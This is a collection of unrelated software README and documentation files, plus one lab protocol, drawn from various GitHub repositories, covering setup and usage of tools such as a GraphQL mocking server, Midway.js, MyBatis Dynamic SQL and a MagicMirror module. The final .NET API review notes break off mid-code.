The Navy Digital Data Platform API Mocking Tool is a Navy Digital SDK Tool available to all App Teams and Developers. Its purpose is to assist the rapid development of Front-End Apps and Features through delivering Back-End Data Platform Mocking capabilities while remaining lightweight and easy to use.

The tool is developed with Front-End App Developers in mind and as such is built using Javascript, as opposed to using more back-end heavy languages. The tool is provided with a JSON data file, GraphQL Schema, and GraphQL Resolvers which are all editable by users to deliver a flexible Mocked Back-End. The back-end server makes use of [Apollo GraphQL Server](https://www.apollographql.com/docs/apollo-server/) which has great documentation on how to experiment with parts of this tool!

## Quick Start Guide
Follow the below process to get the API Mocking Tool running. More in depth instructions are found below should you need them.

  1. Install Node JS Version 12 or higher
  2. Clone this Repo from GitHub
  3. run `npm install` within the cloned repo to install all required dependencies
  4. run `npm start` within the cloned repo to run the tool
  5. For the GraphQL Playground copy and paste `http://localhost:8080/` into your browser
  6. Send GraphL Queries to `http://localhost:8080/graphql`
  7. Experiment and change your App Generated Data and Schema as you wish

## Full Start Guide
The following section discusses at reasonable depth each stage required to get the API Mocking Tool to work for you.

### Node JS Installation
Navy Digital Services currently use the latest LTS version of NodeJS, which at the time of writing is NodeJS v12.18.3. In your IDE of choice we recommend you follow their documentation to install or upgrade to this version should you wish to edit any code.

### Getting the code from this repo
This Repo will remain the most up to date and supported version of the publicly available Navy Digital Data Platform API Mocking Tool. With that in mind, for development uses it is advised that you clone this repo local to where you wish to develop your tools, such that you have freedom to experiment as you wish.

### Installing dependencies
The Navy Digital Data Platform API Mocking Tool uses a variety of packages and has dependencies that need to be managed for use. This tool uses NPM to manage these.

To install all the required dependencies, open a terminal in your local project directory as created above. Then run `npm install`, NPM will then resolve all the dependencies dictated within the `<yourLocalDir>/node_modules` directory.

You will notice that you will get some `npm WARN` logs due to optional dependencies. These are indeed optional and are just warnings, not errors. It does not impact the functioning of the tool. If you don't like warnings in your console, just run `npm install --silent` instead.

### Starting the Navy Digital Data Platform API Mocking Tool
The server can be run in one of two modes. The best way to run the server is to open a terminal in the project directory and enter:

```
npm start
```

This will start the server running on the default port, 8080. If you need to use an alternative port you can set an environment variable named `PORT` to change this, as shown below. Remember that queries will also have to be directed to this Port and not the default 8080.
```
PORT=9000 npm start
```

When the server starts it'll show a brief message to let you know. Every time the server gets a query it will output this to the console.

### Using the GraphQL Playground GUI
The Navy Digital Data Platform API Mocking Tool uses the `GraphQL Playground`. This gives users the ability to utilise the Playground UI to explore their schema and available data.

Once you have started the Navy Digital Data Platform API Mocking Tool you can open your browser and go to: `http://localhost:8080/` to get to the Playground UI.

This will present the GraphQL Playground as seen below:

![Playground](docs/images/playground.png)

From here, you can explore the available schema using the `SCHEMA` and `DOCS` tabs found on the right side of the UI and use them to help create new queries. Two example queries are shown below, you can cut and paste this to try it out within the Query Window on the left.

```
query mockQueryExample {
  dataSources(dataType: MockerType) {
    ... on MockedBackEndDataSource{
      yourMockedDataset{
        mockAttribute01
        mockAttribute02
        mockAttribute03
      }
    }
  }
}

query mockQueryExampleWithFilter {
  dataSources(dataType: MockerType) {
    ... on MockedBackEndDataSource {
      yourMockedDataset(mockAttribute01: "MockID: 010A") {
        mockAttribute01
        mockAttribute02
        mockAttribute03
      }
    }
  }
}
```

## Querying the Navy Digital Data Platform API Mocking Tool using curl
The Playground UI is very useful for data and schema exploration, however, ultimately this needs to get to your app. For this you can use curl commands or your latest App querying method.

You can enter a curl command, such as the one shown below, within a new terminal and it will return the data in the same way as you would receive from the GraphQL Playground shown earlier.

To try the below, just copy and paste it into a terminal.

```
curl 'http://localhost:8080/graphql' \
-H 'Content-Type: application/json' \
--data-binary '{"query":"query mockQueryExample {dataSources(dataType: MockerType) {... on MockedBackEndDataSource {yourMockedDataset{ mockAttribute01\n mockAttribute02\n mockAttribute03\n }}}}","operationName":"mockQueryExample"}'
```

## How does it work?

The server is built using a minimal implementation of [Apollo GraphQL Server](https://www.apollographql.com/docs/apollo-server/).

Apollo is a lightweight GraphQL server framework written in Javascript and runs using NodeJS. All code in the project is written in JS and JSON.

The server loads the schema from the `src/graphql/schema.graphql` file and has a number of resolvers defined in the `src/graphql/Query`, `src/graphql/Type` and `src/graphql/Mutation` folders.

In place of a back-end database the Navy Digital Data Platform API Mocking Tool uses fixed data located in `data/ndp.json`. This is a simple JSON file that can be changed easily using an IDE. The top level `Query` resolver simply loads the JSON data file, while the `Type` resolvers deliver functionality to filter and shape the data requested.

For more in-depth explanations on these we advise referencing the Apollo GraphQL documentation which is very comprehensive.

An example of a `MockedBackEndDataSource` resolver that shapes data based upon a filter criteria is shown below. Similar ones can be found within the `src/graphql/Type` folder.

```
const MockedBackEndDataSource = {

  // Filter yourMockedDataset based upon mockAttribute01.
  yourMockedDataset: (parent, { mockAttribute01 }) => {
    const result = mockAttribute01
      ? parent.yourMockedDataset.filter((item) => item.mockAttribute01 === mockAttribute01)
      : parent.yourMockedDataset

    return result
  },
}

module.exports = MockedBackEndDataSource

```

If you only require a simple return of your JSON data, with no shaping or filtering, then no additional resolvers such as the above will be required.

## Working with the API Mocking Tool
Once you have Cloned the repo you may want to set up an IDE of your choice to read the data or create development changes. Below covers how to work with the data files for changing data and schemas.

### How do I add or update the Schema and Data?
Before attempting to change the data or its schema, be sure to have a thorough look at the GraphQl documentation online. Specifically target pages around `GraphQL Schemas`, `TypeDefs`, and `Resolvers`, as these are the primary building blocks on which this tool is built upon.

Once you are ready to experiment with the tool, you'll find that the current working example will be set up well enough for you to have a play to better understand the tool, how it works, and therefore how you can tweak it for your needs. There are some general rules of thumb that are worth noting, as follows:

  1. The Schema and Data must match. So if the Schema contains a DataSource or similar, it must exist within the Data file with the same name and structure.
  2. All data and schema types require a resolver to be queryable.
  3. If you want to add filtering or shaping of your data - you will need to add additional resolvers that deliver that function for you.
  4. If in doubt take a closer look at the working examples file structure and its contents as this will be good enough for you to copy, paste, edit, and execute with ease.


text:
# Exosome Isolation from Parasite Culture Media

This protocol is used to purify exosome-like vesicles (ELVs) from nematode culture media. Filarial nematode culture media is typically collected every 24 hour for eventual ELV isolation.

## Materials

- 1X PBS
- 0.22 µm syringe filters
- Ultracentrifuge metal tubes
- Beckman centrifuge tubes

## Protocol

**Note:** All centrifugation setps should be carried out at 4°C. Keep tubes on ice.

1. Transfer culture media to 30 mL screw cap centrifuge tubes and fill with 1x PBS until ~ 2cm from the top of the tube (do not fill to the brim). If you do not have an even number of tubes, fill a screw cap tube with water. Balance your tubes using PBS on the scale.

2. Centrifuge media at 12,000 x g for 45 mins at 4°C to remove debris (Beckman Coulter Avanti J-E Centrifuge). Use the JA-20 rotor (enter key number: 20 into the machine). Press “door” to clamp the door down. Press Enter + Start to start the centrifuge. Do not walk away until 12,000 x g is reached and the machine is not making any strange noises.

3. Be very careful when removing the screw cap tubes from the centrifuge to avoid dislodging the pellet. Put the screw cap tubes on ice (tip: carve out a space for the tubes in the ice).

4. Carefully transfer the supernatant to a 50mL conical tube without disturbing the debris pellet using an electronic pipette.

5.  Filter the supernatant through 0.22 μm filters using a 10 mL syringe into a Beckman centrifuge tube. Take out the syringe plunger, screw the syringe onto the filter, use an electronic pipette to fill the syringe with supernatant, and gently push down to filter. When all of the liquid in the syringe has been filtered, unscrew the syringe form the filter, and then take out the plunger. Repeat until all of the supernatant has been filtered.

6. When finished with the 30mL screw cap tubes, wash with ethanol once and then once with PBS.

7. Place the Beckman ultracentrifuge tubes into the red ultracentrifuge tube holders. Fill these tubes to the brim and balance with PBS.

8. Centrifuge at 120,000 x g (25,800 rpm for the SW-28 rotor) for 1.50 hours at 4°C. Make sure the red tubes are completely capped tightly in order for the vacuum to work properly. Turn on the vacuum after loading samples into the rotor. Wait until the vacuum level shows it is <20 microns before starting the run. Choose the max acceleration and slowest deceleration before starting spin. Press start and wait until the ultracentrifuge has achieved top spin speed before leaving. Check back on the machine after ~10 minutes to ensure the run hasn’t failed and stopped spinning.

7. Pipette off as much media as possible (we’ve found that pipetting gives us higher numbers than decanting the media).

8.	Optional: add more media and repeat the process until you’ve gone through the media for each life stage.

9.	Do a final spin with 1X PBS.

10.	Remove all but about 4 mL of media with the electronic pipette.

10.	Wash the walls by pipetting. Transfer into a 1.5 ml ultracentrifuge tube.

11.	Optional (to concentrate ELVs): Centrifuge at 55,000 rpm for 2 hours at 4°C. Remove all but ~25 uL.

ELVs can be quantified using Nanoparticle Tracking Analysis (NTA)

repository: zamanianlab/ZamanianLabDocs

repo_name: zamanianlab/ZamanianLabDocs


text:
# flask_Restfu_jwt

#python 3.8

this is a project to a series pruducts.in this project for authentication used jwt.

open cmd and type git clone https://github.com/soheil06791/flask_Restfu_jwt.git

cd flask_Restfu_jwt

pip install -r requirements.txt

for run app followe commend:

python run.py

you can use postman for api in below is urls in app:

http://<IP_ADDRESS>:5000/api/auth/signup

http://<IP_ADDRESS>:5000/api/auth/login

http://<IP_ADDRESS>:5000/api/auth/logout

http://<IP_ADDRESS>:5000/api/products #method post for creat product #method Get for all product

http://<IP_ADDRESS>:5000/api/prouducts/<id>

after singup you should be login.

in login you see access token copy that.for create product or see product and logout copy access token in bearer token

yo can see this picture:

https://github.com/soheil06791/flask_Restfu_jwt/blob/master/bearer.PNG


text:
This app is a reimplementation of the original [Docker][1] [Example Voting App][2].
Credit for the concept and initial architecture belongs to Docker and the original
Voting App [maintainers][3].
Docker contributions to the open source community have had a tremendous impact in the
IT industry and are greatly appreciated.

If any credit, attribution, or licenses have been inadvertently omitted, please contact
[Tony Pujals, AWS][4].

[1]: https://docker.com
[2]: https://github.com/dockersamples/example-voting-app
[3]: https://github.com/dockersamples/example-voting-app/blob/master/MAINTAINERS
[4]: mailto:pujals@amazon.com?subject=Attribution

repository: aws-samples/voteapp

gha_language: JavaScript

repo_name: aws-samples/voteapp


text:
# aircraft-scheduling-react

Client application in where the user edits the flights listed.
<img src="./frontEnd/images/alpha.gif" title="alpha"/>

## to get the repo:

```
git clone https://github.com/jolaya182/aircraft-scheduling-react.git

```
To run, go to the folder: aircraft-scheduling-react

To install:
```
npm  i
```

To run, go to the src folder:

```
npm run build
```

open the dist folder and click on the `index.html` file

to work in development mode type:

```
npm start
```
then go to `http://localhost:8080/` url on your webbrowser


text:
# Librispeech Recipe Adapted to FalaBrasil Data

These scripts are experimentally being used for forced alignment. For ASR you
may stick with `mini-librispeech` recipe.

Beware nnet's context (and therefore, network depth) has been reduced to
something around ~15 on either side. Number of neurons on each hidden layer
has also been reduced to a half of the original. Since I am training to less
than 1/10 of the original data, it makes sense to use less parameters for a
faster training. No brainer, win-win.

Main scripts are `run_debug.sh` and `run_valendo.sh` which train models over
LapsBM and CETUC-DVD1de4 datasets, respectively. The latter is a quarter size
of the original CETUC dataset, ~36h. After training, `run_align.sh` performs
forced alignment across all models under `exp/`.

![](doc/gmm_pipeline.png)

The idea was also not to train the i-Vector extractor from scratch but to use
Vosk's pre-trained model instead. However, mismatches in the dimension of the
features made that infeasible: MFCCs were extracted as low-res feats
(20 mel bins, 20 ceps feats), and the i-Vector dimension was also reduced to
30-dim in v0.3 :( This is so to make the model smaller and faster for mobile
platforms.

Anyway, check out the original pipeline below just for reference.

![](doc/sim_patl.png)

The top-right-most block shows a transfer-learning-based procedure where a
pre-trained model over a larger dataset in English is expected to be fine-tuned
with data in Brazilian Portuguese. However, first I have to prove that chain
models work for phonetic alignment. So far it's been a bad experience, which
led me to parse some scripts to train nnet3 models without the chain structure.

![](doc/huge_pipeline2.png)

The whole pipeline executes a combination of parameters/resources that are
switched in pairs during simulation, as show in the following Table. Each
column shows two values of each parameter that has been permutated throughout
the experiments. Each row combining multiple parameters correspond to a
**single instance of the simulation, as there are many two-by-two combinations**.

| GMM topo   | feature | chain | ivector | frame subsampling |
|:----------:|:-------:|:-----:|:-------:|:-----------------:|
| mono       | MFCC    | yes   | 100-dim | 3                 |
| tri-deltas | LDA     | no    | no      | 1                 |

Every combination is made to work over a TDNN-F network topology.
Later on I might perform some experiments using CNNs and LSTMs in
combination with time-delay ones.

## Notes (to self) for AWS

- Setup a `p3.2xlarge` or `g4dn.2xlarge`. The former is expensive but its GPU is faster.
- Make sure Anaconda comes with the AMI: `numpy`, `matplotlib` and `termcolor` are needed
- Install `rsync` for later `exp` and `alignme` dir retrieval with compression capabilities
- Exec `ds2fb` inside male-female `scripts` dir to generate phoneset-compatible PTS baseline
- Check Kaldi's docker installation by running `yesno` recipe
- Check NVIDIA card & CUDA lib health status with `nvidia-smi` tool

[![FalaBrasil](../doc/logo_fb_github_footer.png)](https://ufpafalabrasil.gitlab.io/ "Visite o site do Grupo FalaBrasil") [![UFPA](../doc/logo_ufpa_github_footer.png)](https://portal.ufpa.br/ "Visite o site da UFPA")

__Grupo FalaBrasil (2021)__ - https://ufpafalabrasil.gitlab.io/
__Universidade Federal do Pará (UFPA)__ - https://portal.ufpa.br/
Cassio Batista - https://cassota.gitlab.io/

repository: jakley/kaldi-br

repo_name: jakley/kaldi-br


text:
[![GitHub release](https://img.shields.io/github/release/sismics/docker-borgbackupgen-php.svg?style=flat-square)](https://github.com/sismics/docker-backupninja/releases/latest)
[![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0)

## About
Generate an Backupninja configuration file for multi-container backup

## Description

This dockerfile generates configuration files for Backupninja.

## Usage

Run containers to be backuped with the following environment variable:

``
docker run [...] -e 'BACKUP_VOLUME=true'
``

This will enable backup of all volumes used by this container.

repository: sismics/docker-borgbackupgen

repo_name: sismics/docker-borgbackupgen


text:
---
title: dt
description: OpenBB Terminal Function
---

# dt

Get daily transactions for certain symbols in ethereum blockchain [Source: https://sdk.flipsidecrypto.xyz/shroomdk]

### Usage

```python
dt
```

---

## Parameters

This command has no parameters

---

repository: conrad-strughold/GamestonkTerminal

repo_name: conrad-strughold/GamestonkTerminal


text:
# Create the first application

## Technical selection

Midway has multiple sets of technical solutions to choose from. We will distinguish them by deployment:

| Technical selection | Description |
| --------------- | ------------------------------------------------------------ |
| Pure Node.js project | Midway traditional project, pure Node.js research and development, modules represented by `@midwayjs/koa`, supports back-end projects in the most complete way, and uses **dependency injection + Class** as the technology stack.  |
| Serverless project | Midway is a technology stack developed separately for Serverless scenarios. Modules represented by `@midwayjs/faas` are connected to different Serverless platforms in a lightweight way.  |
| Integration project | Midway's innovative technology scheme adopts the integrated development method of front and back ends to save the time of front and back ends. For modules represented by `@midwayjs/hooks`, **functional** is used as the main coding paradigm.  |

:::tip
This chapter and subsequent documents will use the **pure Node.js project** as the basic example. If you need to use the Serverless project, please jump to the [Serverless](serverless/serverless_intro). If you need to learn about the integration project, please visit [integration](hooks/intro).
:::

## Fast initialization

Use `npm init midway` to view the complete list of scaffolds. After a project is selected, Midway automatically creates sample directories, codes, and installation dependencies.

```bash
$ npm init midway@latest -y
```

For a v3 project, select `koa-v3`, pay attention to [Node.js environment requirements](/docs/intro#environmental-preparation).

The example will create a directory structure similar to the following, where the simplest Midway project example is as follows.

```
➜  my_midway_app tree
.
├── src                            ## midway project source code
│   └── controller                 ## Web Controller Directory
│       └── home.controller.ts
├── test
├── package.json
└── tsconfig.json
```
The whole project includes some of the most basic files and directories.

- `src` is the source directory of the entire Midway project.
- The test directory of the `test` project. All the test files are available here.
- `package the` package management profile of the. json Node.js project Foundation
- `tsconfig.json` Compile Configuration File TypeScript

In addition to the entire directory, we have some other directories, such as the `controller` directory.

## Development habits

Midway has no special restrictions on directories, but we will follow some simple development habits and classify some commonly used files into some default folders.

The following ts source code folders are in the `src` directory.

Commonly used are:

- `controller` Web Controller directory
- `middleware` middleware directory
- `filter`
- `aspect` interceptor
- `service` service logical directory
- `entity` or `model` database entity directory
- `config`
- The directory where the `util` tool class is stored.
- `decorator` custom decorator directory
- `interface.ts` definition file for ts business

With the emergence of different scenarios, directory habits will continue to increase, and the specific directory content will be reflected in different component functions.

## Web framework selection

Midway was designed to be compatible with a variety of upper-level frameworks, such as common `Express`, `Koa` and `EggJS`.

Starting with v3, we use Koa to demonstrate the basic example.

These upper-level frameworks are provided in Midway with component capabilities, and all of them can use the decorator capabilities provided by Midway, but Midway will not encapsulate specific capabilities, such as the plugin system of Egg.js, or the middleware capabilities of Express, If you are familiar with one of these frameworks, or want to use the capabilities of a particular framework, you can choose it as your workhorse web framework.

| Name | Description |
| --- | --- |
| @midwayjs/koa | By default, Koa is a Express alternative framework, which supports asynchronous middleware and other capabilities by default, and is the second most common Node.js Web framework.  |
| @midwayjs/web | Egg.js is a relatively commonly used Web framework in China, including some default plug-ins.  |
| @midwayjs/express | Express is a well-known node.js minimalist Web framework.  It's a well-tested, productive library with a lot of community resources.  |

If you want to replace the default Web framework, please refer to the corresponding [egg](extensions/egg) or [express](extensions/express) section.

## Start the project

```bash
$ npm run dev
$ open http://localhost:7001
```
Midway will start the HTTP server, open the browser, access `http:// <IP_ADDRESS>:7001`, and the browser will print out the `Hello midwayjs!`  The information.

![image.png](https://img.alicdn.com/imgextra/i2/O1CN01KoUxO91jydMw41Vv4_!!6000000004617-2-tps-1268-768.png)

If you need to modify the development startup port, you can modify it in the scripts paragraph of the `package.json`, such as 6001:

```typescript
"scripts": {
  //...
  "dev": "cross-env NODE_ENV=local midway-bin dev --ts --port=6001",
},
```

## Frequently Asked Questions

### Python compilation error

:::caution
Executing `npm install/i` command under node15/npm7 to install dependency may cause Python compilation errors

**Projects created using npm init midway will automatically install dependencies without this problem.**

**Solution**: Add the `--legacy-peer-deps` parameter when run `npm i`.
**Reason**: The test framework Jest relies on jsdom. Npm7 automatically installs the canvas package that its peerDependencies depends on. The installation and compilation of canvas requires a python3 environment.
:::

### windows eslint error

:::caution
Windows may encounter the problem of eslint error. Please pay attention to [the problem of line wrapping under windows](faq/git_problem#XCAgm).
:::

repository: midwayjs/midway

gha_language: TypeScript

repo_name: midwayjs/midway


text:
# Database Object Representation
MyBatis Dynamic SQL works with Java objects that represent relational tables or views.

## Table or View Representation

The class `org.mybatis.dynamic.sql.SqlTable` is used to represent a table or view in a database. An `SqlTable` holds a name, and a collection of `SqlColumn` objects that represent the columns in a table or view.

A table or view name in SQL has three parts:

1. The catalog - which is optional and is rarely used outside of Microsoft SQL Server. If unspecified the default catalog will be used - and many databases only have one catalog
1. The schema - which is optional but is very often specified. If unspecified the default schema will be used
1. The table name - which is required

Typical examples of names are as follows:

- `"dbo..bar"` - a name with a catalog (dbo) and a table name (bar). This is typical for SQL Server
- `"foo.bar"` - a name with a schema (foo) and a table name (bar). This is typical in many databases when you want to access tables that are not in the default schema
- `"bar"` - a name with just a table name (bar). This will access a table or view in the default catalog and schema for a connection

In MyBatis Dynamic SQL, the table or view name can be specified in different ways:

1. The name can be a constant String
1. The name can be calculated at runtime based on a catalog and/or schema supplier functions and a constant table name
1. The name can be calculated at runtime with a name supplier function

### Constant Names

Constant names are used when you use the `SqlTable` constructor with a single String argument. For example:

```java
public class MyTable extends SqlTable {
    public MyTable() {
        super("MyTable");
    }
}
```

Or

```java
public class MyTable extends SqlTable {
    public MyTable() {
        super("MySchema.MyTable");
    }
}
```

### Dynamic Catalog and/or Schema Names
MyBatis Dynamic SQL allows you to dynamically specify a catalog and/or schema. This is useful for applications where the schema may change for different users or environments, or if you are using different schemas to shard the database. Dynamic names are used when you use a `SqlTable` constructor that accepts one or more `java.util.function.Supplier` arguments.

For example, suppose you wanted to change the schema based on the value of a system property. You could write a class like this:

```java
public class SchemaSupplier {
    public static final String schema_property = "schemaToUse";

    public static Optional<String> schemaPropertyReader() {
        return Optional.ofNullable(System.getProperty(schema_property));
    }
}
```

This class has a static method `schemaPropertyReader` that will return an `Optional<String>` containing the value of a system property. You could then reference this method in the constructor of the `SqlTable` like this:

```java
public static final class User extends SqlTable {
    public User() {
        super(SchemaSupplier::schemaPropertyReader, "User");
    }
}
```

Whenever the table is referenced for rendering SQL, the name will be calculated based on the current value of the system property.

There are two constructors that can be used for dynamic names:

1. A constructor that accepts `Supplier<Optional<String>>` for the schema, and `String` for the name. This constructor assumes that the catalog is always empty or not used
1. A constructor that accepts `Supplier<Optional<String>>` for the catalog, `Supplier<Optional<String>>` for the schema, and `String` for the name

If you are using Microsoft SQL Server and want to use a dynamic catalog name and ignore the schema, then you should use the second constructor like this:

```java
public static final class User extends SqlTable {
    public User() {
        super(CatalogSupplier::catalogPropertyReader, Optional::empty, "User");
    }
}
```

The following table shows how the name is calculated in all combinations of suppliers:

Catalog Supplier Value | Schema Supplier Value | Name | Fully Qualified Name
---|---|---|---
"MyCatalog" | "MySchema" | "MyTable" | "MyCatalog.MySchema.MyTable"
<empty> | "MySchema" | "MyTable" | "MySchema.MyTable"
"MyCatalog" | <empty> | "MyTable" | "MyCatalog..MyTable"
<empty> | <empty> | "MyTable" | "MyTable"

### Fully Dynamic Names
MyBatis Dynamic SQL allows you to dynamically specify a full table name. This is useful for applications where the database is sharded with different tables representing different shards of the whole. Dynamic names are used when you use a `SqlTable` constructor that accepts a single `java.util.function.Supplier` argument.

Note that this functionality should only be used for tables that have different names, but are otherwise identical.

For example, suppose you wanted to change the name based on the value of a system property. You could write a class like this:

```java
public class NameSupplier {
    public static final String name_property = "nameToUse";

    public static String namePropertyReader() {
        return System.getProperty(name_property);
    }
}
```

This class has a static method `namePropertyReader` that will return an `String` containing the value of a system property. You could then reference this method in the constructor of the `SqlTable` like this:

```java
public static final class User extends SqlTable {
    public User() {
        super(NameSupplier::namePropertyReader);
    }
}
```

Whenever the table is referenced for rendering SQL, the name will be calculated based on the current value of the system property.

## Column Representation

The class `org.mybatis.dynamic.sql.SqlColumn` is used to represent a column in a table or view. An `SqlColumn` is always associated with a `SqlTable`. In it's most basic form, the `SqlColumn` class holds a name and a reference to the `SqlTable` it is associated with.

The `SqlColumn` class has additional optional attributes that are useful for SQL rendering - especially in MyBatis3. These include:

* The `java.sql.JDBCType` of the column. This will be rendered into the MyBatis3 compatible parameter marker - which helps with picking type handlers and also inserting or updating null capable fields
* A String containing a type handler - either a type handler alias or the fully qualified type of a type handler. This will be rendered into the MyBatis3 compatible parameter marker

If you are not using MyBatis3, then you will not need to specify the JDBC Type or type handler.

Finally, the `SqlColumn` class has methods to designate a column alias or sort order for use in different SQL statements.

We recommend a usage pattern for creating table and column objects that provides quite a bit of flexibility for usage. See the [Quick Start](quickStart.html) page for a complete example.

repository: yangfancoming/mybatis-dynamic-sql

gha_language: Java

repo_name: yangfancoming/mybatis-dynamic-sql


text:
# Social Media Web App created with React and Node.js

This is a project I have been working on for the past couple of weeks in order to improve my skills in the technologies and libraries listed in the [Technology Stack](#technology-stack) section.

It has a dedicated REST API, created with Express.js, which is situated in the `backend` folder and a front-end, powered by React and Material-UI.

The features currently available are pretty basic, but I hope I have the time and energy to add some more advanced ones.

## Demo

I do not have a public production build set up and don't plan on making one anytime soon, so I decided to record a little video showcasing some of the features of the project.
 ### [Watch initial showcase here](https://www.youtube.com/watch?v=1NgSvF1UU8Q&feature=youtu.be&ab_channel=Bankov)
 ### [Watch Likes + Notification showcase here](https://youtu.be/WUhsjtGoAr4)

## Installation

### Prerequisites:
In order to be able to run the project successfully, you must have a MongoDB server installed and running on your machine. Here is a link with installation guides for Linux, Windows, and Mac: [MongoDB Server installation guide](https://docs.mongodb.com/manual/administration/install-community/)

### Steps

Clone the repository:
```
git clone https://github.com/stefanbankow/react-node-social-media.git
```

Run npm install in the root directory:
```
npm install
```

Make sure your mongoDB server is running and then run:

```
npm run dev-no-env
```

If for some reason the project isn't working, you can try running these commands.
```
cd backend/
npm install
cd ..
```

### Optional:
The project is set up to use environment variables:
- MONGO_URL
- JWT_SECRET

In order to use your own values, create a file named `dev.env` in the folder `react-node-social-media/backend/config`, give them values and then run:
```
npm run dev
```

## Technology Stack

- [React](https://reactjs.org/)
  - [react-redux](https://react-redux.js.org/)
  - [react-router](https://reactrouter.com/)
  - [Material-UI](https://material-ui.com/)
- [Node.js](https://nodejs.org/en/)
  - [Express](https://expressjs.com/)
  - [mongoose](https://mongoosejs.com/)
  - [socket.io](https://socket.io/)
- [Redux](https://redux.js.org/)
  - [redux-thunk](https://github.com/reduxjs/redux-thunk)
- [MongoDB](https://www.mongodb.com/)
- [JWT](https://jwt.io/)

It's possible that I am missing some, but those are the major ones.

## Features

### Currently available
- Posts
  - CRUD functionality
  - Only get 10 posts initially and request more as the user keeps scrolling down.
    - This is kind of like `lazy loading` for posts, which makes the app far more efficient.

  - Drafts
    - Posts which are created with the `Public` checkbox ticked off are added to the drafts instead.
    - The drafts can be accessed at `/drafts`
    - The user can then choose to `publish`, `edit`, or `delete` a draft.
- Likes
  - Signed in users can `like/unlike` a post
  - Everyone can see all users who likes a post
- Comments
  - CRUD functionality
- Notifications
  - Displayed in `realtime` using `socket.io`
  - Lazy-loaded 10 at a time `(once notification dialog is open)`
  - Sends a notification everytime `another user` likes or comments on a post
  - Notifications are deleted once a user unlikes or deletes a comment
  - Showcased [here](https://youtu.be/WUhsjtGoAr4)
- User system
  - Authentication
    - Authentication based on JWT tokens stored inside cookies and in the Database
    - This is by no means neither very complicated, nor very secure system, but it suits my needs
  - Edit about info [`Age, Country, About you`]
  - Change password by providing old password
  - Profile pictures <code>(In progress, only available in [profile-pictures](https://github.com/stefanbankow/react-node-social-media/tree/profile-pictures) branch)</code>
    - Because the project is still in development, I am storing profile pictures as `Buffers` in every user's MongoDB document and returning them in most responses. `This is incredibly inefficient and should not be used in production`, because it makes response sizes enormous. Because of this, the profile picture functionality is only available in the [`profile-pictures`](https://github.com/stefanbankow/react-node-social-media/tree/profile-pictures) branch, which I do not plan on merging with `master` any time soon.
    - The current functionality is very basic. Users are able to open a dialog in a user's profile page, which lets them see their profile picture. If the profile page they are on is their own profile, they are able to upload a new file and replace their current profile picture`(Accepting PNG/JPG/JPEG up to 1 mb)`. This, is `very lmited (for now)`, because users aren't able to `resize/crop` the image they've chosen and the result they get are the center `500x500 pixels` of the image they've uploaded.
    - `For production`, the image uploaded would have to be stored in a storage bucket (Such as amazon s3) and only use MongoDB to store a reference to the image in the bucket, which would have very minimal API performance impact.

### To do
- Set up tests for both the front- and back-end

### Backlog
- Email verification

## License
[MIT](https://choosealicense.com/licenses/mit/)

repository: stefanbankow/react-node-social-media

repo_name: stefanbankow/react-node-social-media


text:
# MagicMirror Module: Lothian Buses

`MMM-LothianBuses` is a module for [MagicMirror](https://github.com/MichMich/MagicMirror) that allows you to display real time information about Lothian Buses bus stops.
The data is provided by [Transport for Edinburgh Open data](https://tfe-opendata.readme.io/) scheme.

![Screenshot of the Lothian Buses module](./screenshot.png)

## Usage

### Prerequisites

This module requires an API key to work. The key is free but you need to make [a request to get one here](http://www.mybustracker.co.uk/?page=API%20Key).

### Setup

Clone this module into your MagicMirror's `modules` directory

```shell script
cd modules
git clone https://github.com/tbouron/MMM-LothianBuses
```

then add the module to your MagicMirror's configuration. Here is an example:

```javascript
/* MagicMirror/config/config.js */
{
    /* ...your other config here */

    modules: [

        /* ...your other modules here */

        {
            module: 'MMM-LothianBuses',
            header: 'Buses',
            position: 'top_left',
            config: {
                apiKey: '<YOUR-API-KEY>',
                busStopIds: [
                    '<BUS-STOP-ID-#1>',
                    '<BUS-STOP-ID-#2>',
                    '<BUS-STOP-ID-#3>',
                    ['<BUS-STOP-ID-#4>', '<BUS-LINE-TO-INCLUDE>', '<ANOTHER-BUS-LINE-TO-INCLUDE>', ...]
                    ....
                ]
            }
        }
    ]
}
```

### Configuration options

| Configuration key | Description | Default | Required |
| --- | --- | --- | ---|
| apiKey | The API key for the transports of Edinburgh open data. You can [request one here](http://www.mybustracker.co.uk/?page=API%20Key). | `null` | Yes |
| busStopIds | The list of bus stop IDs to display. Each items can either be a string containing the bus stop ID, or an array where the first item is the bus stop ID, and the subsequent ones are line numbers that needs to be included. | `[]` | Yes |

### Finding bus stop IDs

Go to [Google maps](https://www.google.co.uk/maps) and click on the bus stop you are interested in. The information card will display the bus stop ID associated to it.

repository: tbouron/MMM-LothianBuses

repo_name: tbouron/MMM-LothianBuses


text:
# Quick Reviews 2/4/2020

## Add an API to perform streaming transcoding

**Approved** | [#runtime/30260](https://github.com/dotnet/runtime/issues/30260#issuecomment-582050875) | [Video](https://www.youtube.com/watch?v=nD5kZ2aXjdM&t=0h0m0s)

* We'll likely need this ourselves for the `HttpClient` extension methods for JSON, so putting it in the BCL seems more reasonable than an ASP.NET/networking specific helper
* Instead of exposing a concrete type, we'd prefer a factory because we'll likely want to have dedicated implementations for specific encodings in order to speed things up.
* Putting the factory on `Encoding` seems most sensible because that's the array based helpers are too

```C#
namespace System.Text
{
    public partial class Encoding
    {
        public static Stream CreateTranscodingStream(Stream innerStream, Encoding innerStreamEncoding, Encoding outerStreamEncoding, bool leaveOpen = false);
    }
}
```
## SetCreationTime, SetLastAccessTime, SetLastWriteTime Should not open a new stream to obtain a SafeFileHandle

**Approved** | [#runtime/20234](https://github.com/dotnet/runtime/issues/20234#issuecomment-582053400) | [Video](https://www.youtube.com/watch?v=nD5kZ2aXjdM&t=0h23m34s)

* The scenario makes sense, but defining them as extension methods on `SafeFileHandle` seems odd
* It seems more logical to define them as overloads to the `string` based APIs on `File`.

```C#
namespace System.IO
{
    public static partial class File
    {
        public static DateTime GetCreationTime(SafeFileHandle fileHandle);
        public static DateTime GetCreationTimeUtc(SafeFileHandle fileHandle);
        public static DateTime GetLastAccessTime(SafeFileHandle fileHandle);
        public static DateTime GetLastAccessTimeUtc(SafeFileHandle fileHandle);
        public static DateTime GetLastWriteTime(SafeFileHandle fileHandle);
        public static DateTime GetLastWriteTimeUtc(SafeFileHandle fileHandle);

        public static void SetCreationTime(SafeFileHandle fileHandle, DateTime creationTime);
        public static void SetCreationTimeUtc(SafeFileHandle fileHandle, DateTime creatinTimeUtc);
        public static void SetLastAccessTime(SafeFileHandle fileHandle, DateTime lastAccessTime);
